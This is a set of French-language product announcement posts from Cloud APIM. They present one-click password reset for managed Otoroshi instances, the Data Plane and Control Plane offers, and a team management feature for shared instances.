Chez Cloud APIM, nous cherchons en permanence à améliorer l’ergonomie et la sécurité de notre plateforme. Parce qu’il est important de pouvoir accéder facilement à vos instances Otoroshi managées et d’en garder le contrôle, nous avons le plaisir d’annoncer une nouvelle fonctionnalité qui simplifie nettement la gestion des mots de passe : la réinitialisation du mot de passe en un clic.

Un accès simplifié, en un clic

Nous savons que gérer des mots de passe n’est pas toujours simple, surtout quand ils sont perdus ou oubliés. Jusqu’ici, récupérer ou réinitialiser le mot de passe de votre instance Otoroshi pouvait vous obliger à contacter le support : une démarche sûre, mais qui risquait de retarder votre travail. Ce n’est plus le cas.

La réinitialisation du mot de passe en un clic

Avec cette nouvelle fonctionnalité, vous pouvez réinitialiser instantanément le mot de passe de votre instance, directement depuis votre tableau de bord Cloud APIM. Même si vous oubliez votre mot de passe, l’accès à votre instance Otoroshi managée n’est qu’à un clic : nul besoin de vous connecter à l’instance elle-même ni de contacter le support.

La sécurité et la confidentialité avant tout

Cloud APIM ne conserve pas les mots de passe de vos instances une fois qu’ils ont été affichés lors de la création de l’instance. Cette approche donne la priorité à votre sécurité et à votre confidentialité. Avec la réinitialisation du mot de passe en un clic, nous gardons ce niveau d’exigence tout en vous offrant un moyen simple de retrouver l’accès à votre instance.

Comment ça marche

Rendez-vous sur votre tableau de bord Cloud APIM.
Sélectionnez l’instance Otoroshi dont vous souhaitez réinitialiser le mot de passe.
Cliquez sur le bouton « Reset Password ».
Votre nouveau mot de passe est généré et affiché de façon sécurisée. Pensez à le noter ou à l’enregistrer dans un gestionnaire de mots de passe.

Réinitialisez en toute confiance

Cette fonctionnalité a été pensée pour votre tranquillité d’esprit : vous pouvez réinitialiser votre mot de passe en toute sécurité, à tout moment, sans complication ni délai. C’est une étape de plus pour rendre nos instances Otoroshi managées aussi simples à utiliser et aussi sûres que possible.

À propos de Cloud APIM

Cloud APIM propose des solutions managées de pointe pour l’API management, qui permettent aux entreprises d’exploiter toute la puissance de leurs API, simplement et efficacement. Notre engagement pour l’innovation et l’excellence nous pousse à offrir à nos clients les outils les plus avancés et des services qui les aident à atteindre leurs objectifs de transformation numérique.

Lancement de la nouvelle offre Data Plane

Mathieu Ancelin — Mon, 05 Jun 2023 22:00:00 GMT

Introduction

À mesure que le paysage numérique évolue, les exigences en matière de gestion d’API et de routage du trafic évoluent aussi. Pour répondre à ces besoins croissants, Cloud APIM a le plaisir d’annoncer sa toute dernière offre : Data Plane. Cette offre innovante s’adresse aux entreprises qui veulent optimiser le routage de leur trafic d’API via Cloud APIM, tout en conservant leur control plane on-premise ou déployé chez le fournisseur cloud de leur choix.

L’essentiel de l’offre Data Plane

L’offre Data Plane de Cloud APIM introduit une approche inédite de la gestion du trafic d’API. Elle permet aux organisations de s’appuyer sur nos clusters data plane robustes et scalables pour router leur trafic, avec un haut niveau de performance, de fiabilité et de sécurité, sans avoir à déplacer leur control plane de son environnement actuel.

Les principaux avantages de l’offre Data Plane

Un contrôle flexible : gardez votre control plane là où cela vous convient le mieux, on-premise ou chez n’importe quel fournisseur cloud, tout en profitant des puissantes capacités de routage de Cloud APIM.
Des performances accrues : nos clusters data plane sont conçus pour absorber de gros volumes de trafic d’API, avec des performances inégalées et une latence réduite.
Scalabilité : à mesure que votre trafic d’API augmente, l’offre Data Plane évolue avec vous et s’étend sans heurts, sans perturber la configuration existante de votre control plane.
Sécurité et conformité : avec l’offre Data Plane de Cloud APIM, profitez de fonctionnalités de sécurité avancées qui protègent vos données en transit, dans le respect des normes et réglementations du secteur.

Pourquoi choisir l’offre Data Plane ?

L’offre Data Plane est taillée sur mesure pour les organisations qui veulent :

Garder la maîtrise de leurs paramètres et politiques de gestion d’API, on-premise ou chez le fournisseur cloud de leur choix.
Optimiser le routage de leur trafic d’API pour gagner en performance et en fiabilité.
S’assurer que le routage de leurs données respecte des exigences strictes de sécurité et de conformité.

Démarrer avec l’offre Data Plane

Passer à l’offre Data Plane est simple et rapide. Que vous soyez déjà client de Cloud APIM et souhaitiez améliorer vos capacités de routage d’API, ou que vous découvriez notre plateforme à la recherche d’une solution data plane performante, notre équipe vous accompagne à chaque étape.

Conclusion

Le lancement de l’offre Data Plane illustre l’engagement de Cloud APIM à fournir des solutions de gestion d’API flexibles et performantes. En séparant le data plane du control plane, nous offrons à nos clients le meilleur des deux mondes : la liberté de gérer leurs API comme ils l’entendent, avec l’assurance d’un routage du trafic optimisé grâce à nos clusters data plane de dernière génération. Découvrez l’offre Data Plane dès aujourd’hui et faites le premier pas vers un écosystème d’API plus efficace et plus sûr.

À propos de Cloud APIM

Lancement de la nouvelle offre Control Plane

Mathieu Ancelin — Tue, 09 May 2023 22:00:00 GMT

Introduction

Dans un monde où la flexibilité et la maîtrise de la gestion d’API sont primordiales, Cloud APIM est fier de dévoiler sa dernière innovation : l’offre Control Plane. Cette nouvelle offre est taillée sur mesure pour les entreprises qui recherchent une solution de gestion centralisée pour leurs instances Otoroshi, avec la liberté de déployer plusieurs clusters data plane dans différents environnements, que ce soit on-premise ou chez d’autres fournisseurs cloud.

L’offre Control Plane : la porte d’entrée vers une gestion d’API simplifiée

L’offre Control Plane est conçue pour être le centre névralgique de votre écosystème de gestion d’API. Elle fournit un point d’entrée unique pour gérer toutes vos entités Otoroshi, comme les routes et les clés d’API, et vient à bout de la complexité de la gestion d’API dans des environnements variés.

Principales fonctionnalités de l’offre Control Plane

Gestion centralisée : gérez toutes vos entités Otoroshi depuis un tableau de bord unique et intuitif, quel que soit l’endroit où vos data planes sont déployés.
Flexibilité de déploiement : que vos clusters data plane soient on-premise ou répartis entre différents fournisseurs cloud, l’offre Control Plane les intègre de façon transparente dans un système unique et cohérent.
Sécurité et contrôle renforcés : grâce à la gestion centralisée, vous gagnez en visibilité et en contrôle sur vos API, ce qui renforce la sécurité et la conformité dans toute votre organisation.
Scalabilité : à mesure que votre entreprise grandit, l’offre Control Plane grandit avec vous et accueille facilement de nouveaux clusters data plane, sans compromettre les performances ni l’efficacité de la gestion.

Pourquoi choisir l’offre Control Plane ?

Dans le paysage numérique dynamique d’aujourd’hui, les entreprises ont besoin de solutions qui allient flexibilité et contrôle. L’offre Control Plane est spécialement conçue pour répondre à ces besoins, avec :

Un point de gestion unique pour toutes vos entités Otoroshi, qui réduit la complexité et vous fait gagner un temps précieux.
La possibilité de préserver la souveraineté de vos données en déployant vos clusters data plane là où vous le souhaitez, tout en profitant d’un contrôle centralisé.
La scalabilité et l’agilité nécessaires pour vous adapter à l’évolution de vos besoins, sans être enfermé dans une infrastructure spécifique.

Démarrer avec l’offre Control Plane

Adopter l’offre Control Plane est simple. Les clients existants de Cloud APIM peuvent facilement passer à cette offre depuis leur tableau de bord. Les nouveaux clients sont invités à nous rejoindre pour découvrir comment l’offre Control Plane peut transformer leur stratégie de gestion d’API.

Conclusion

Le lancement de l’offre Control Plane marque une étape importante dans l’engagement de Cloud APIM à fournir des solutions innovantes et centrées sur le client. En offrant une flexibilité, un contrôle et une simplicité de gestion inégalés, nous permettons à nos clients d’exploiter tout le potentiel de leurs écosystèmes d’API. Découvrez l’offre Control Plane dès aujourd’hui et faites le premier pas vers une gestion d’API plus simple et plus sûre.

À propos de Cloud APIM

Lancement de Cloud APIM Teams

Mathieu Ancelin — Mon, 03 Apr 2023 22:00:00 GMT

Introduction

Dans les environnements de travail collaboratifs d’aujourd’hui, pouvoir gérer facilement ses ressources technologiques en équipe est plus important que jamais. Cloud APIM a le plaisir d’annoncer une évolution majeure de ses instances Otoroshi managées : le lancement de la gestion d’équipes (Team Management). Cette nouvelle fonctionnalité est conçue pour renforcer la collaboration et simplifier l’administration des instances partagées au sein de l’entreprise, afin que les équipes travaillent ensemble plus efficacement.

Qu’est-ce que la gestion d’équipes ?

La gestion d’équipes est une nouvelle fonctionnalité puissante qui permet aux titulaires d’un compte d’inviter des collègues à administrer ou à consulter leurs instances Otoroshi managées. Grâce à cette mise à jour, les utilisateurs de Cloud APIM gagnent en souplesse dans le contrôle des accès et des permissions, pour que les bonnes personnes disposent du bon niveau d’accès au bon moment.

Principales fonctionnalités et avantages

Inviter pour gérer ou pour consulter : vous pouvez désormais inviter des membres de votre équipe soit à gérer des instances avec des droits d’administration complets, soit à les consulter à des fins de supervision et de reporting. Ce contrôle granulaire garantit que chacun n’a accès qu’aux fonctionnalités dont il a besoin.
Des équipes qui évoluent : ajoutez ou retirez des membres à tout moment, pour que la structure de votre équipe s’adapte à l’évolution de votre projet. Cette flexibilité est essentielle pour garder vos instances managées sécurisées tout en tenant compte des changements dans la composition de l’équipe ou dans les rôles de chacun.
Une collaboration simplifiée : en permettant une gestion par équipe, Cloud APIM facilite la collaboration sur les tâches de gestion d’API, le partage des responsabilités et la continuité de l’administration.

Comment démarrer

Démarrer avec la gestion d’équipes est très simple :

Accédez à votre tableau de bord : connectez-vous à votre tableau de bord Cloud APIM et ouvrez les paramètres de votre instance Otoroshi managée. Vous pouvez y définir les équipes autorisées à travailler sur cette instance.
Gérez votre équipe : rendez-vous dans la section « Team Management », où vous pouvez inviter de nouveaux membres, définir leurs niveaux d’accès et gérer les membres existants.
Invitez les membres de votre équipe : saisissez l’adresse e-mail des collègues que vous souhaitez inviter en tant qu’administrateur ou en tant qu’observateur. Ils recevront une invitation à rejoindre votre équipe.

Donnez plus d’autonomie à votre équipe dès aujourd’hui

Avec l’arrivée de la gestion d’équipes, Cloud APIM poursuit son engagement : fournir les outils et les fonctionnalités dont nos clients ont besoin pour réussir. En facilitant le travail d’équipe et en apportant plus de souplesse dans la gestion des instances Otoroshi managées, nous aidons les entreprises à atteindre leurs objectifs de gestion d’API de manière plus efficace et plus sûre.

Nous avons hâte de voir comment nos utilisateurs vont tirer parti de cette nouvelle fonctionnalité pour renforcer leur collaboration et simplifier l’administration de leurs instances partagées. Lancez-vous dès aujourd’hui et faites le premier pas vers une gestion d’équipe plus collaborative et plus efficace.